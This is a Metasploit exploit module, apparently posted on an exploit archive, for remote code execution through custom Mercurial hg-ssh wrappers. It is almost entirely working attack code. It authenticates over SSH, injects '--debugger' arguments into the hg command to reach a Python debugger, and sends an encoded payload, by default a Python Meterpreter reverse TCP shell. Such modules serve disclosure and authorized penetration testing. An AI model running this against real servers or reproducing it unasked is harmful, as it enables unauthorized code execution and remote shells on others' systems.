Mercurial Custom hg-ssh Wrapper Remote Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::SSH  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Mercurial Custom hg-ssh Wrapper Remote Code Exec",  
'Description' => %q{  
This module takes advantage of custom hg-ssh wrapper implementations that don't  
adequately validate parameters passed to the hg binary, allowing users to trigger a  
Python Debugger session, which allows arbitrary Python code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'claudijd',  
],  
'References' =>  
[  
['URL', 'https://www.mercurial-scm.org/wiki/WhatsNew#Mercurial_4.1.3_.282017-4-18.29']  
],  
'DefaultOptions' =>  
{  
'Payload' => 'python/meterpreter/reverse_tcp',  
},  
'Platform' => ['python'],  
'Arch' => ARCH_PYTHON,  
'Targets' => [ ['Automatic', {}] ],  
'Privileged' => false,  
'DisclosureDate' => "Apr 18 2017",  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Opt::RHOST(),  
Opt::RPORT(22),  
OptString.new('USERNAME', [ true, 'The username for authentication', 'root' ]),  
OptPath.new('SSH_PRIV_KEY_FILE', [ true, 'The path to private key for ssh auth', '' ]),  
]  
)  
  
register_advanced_options(  
[  
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),  
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])  
]  
)  
end  
  
def rhost  
datastore['RHOST']  
end  
  
def rport  
datastore['RPORT']  
end  
  
def username  
datastore['USERNAME']  
end  
  
def ssh_priv_key  
File.read(datastore['SSH_PRIV_KEY_FILE'])  
end  
  
def exploit  
factory = ssh_socket_factory  
ssh_options = {  
auth_methods: ['publickey'],  
config: false,  
use_agent: false,  
key_data: [ ssh_priv_key ],  
port: rport,  
proxy: factory,  
non_interactive: true  
}  
  
ssh_options.merge!(:verbose => :debug) if datastore['SSH_DEBUG']  
  
print_status("#{rhost}:#{rport} - Attempting to login...")  
  
begin  
ssh = nil  
::Timeout.timeout(datastore['SSH_TIMEOUT']) do  
ssh = Net::SSH.start(rhost, username, ssh_options)  
end  
rescue Rex::ConnectionError  
return  
rescue Net::SSH::Disconnect, ::EOFError  
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"  
return  
rescue ::Timeout::Error  
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"  
return  
rescue Net::SSH::AuthenticationFailed  
print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."  
rescue Net::SSH::Exception => e  
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"  
return  
end  
  
if ssh  
print_good("SSH connection is established.")  
ssh.open_channel do |ch|  
ch.exec "hg -R --debugger serve --stdio" do |ch, success|  
ch.on_extended_data do |ch, type, data|  
if data.match(/entering debugger/)  
print_good("Triggered Debugger (#{data})")  
ch.send_data "#{payload.encoded}\n"  
else  
print_bad("Unable to trigger debugger (#{data})")  
end  
end  
end  
end  
  
begin  
ssh.loop unless session_created?  
rescue Errno::EBADF => e  
elog(e.message)  
end  
end  
end  
end  
`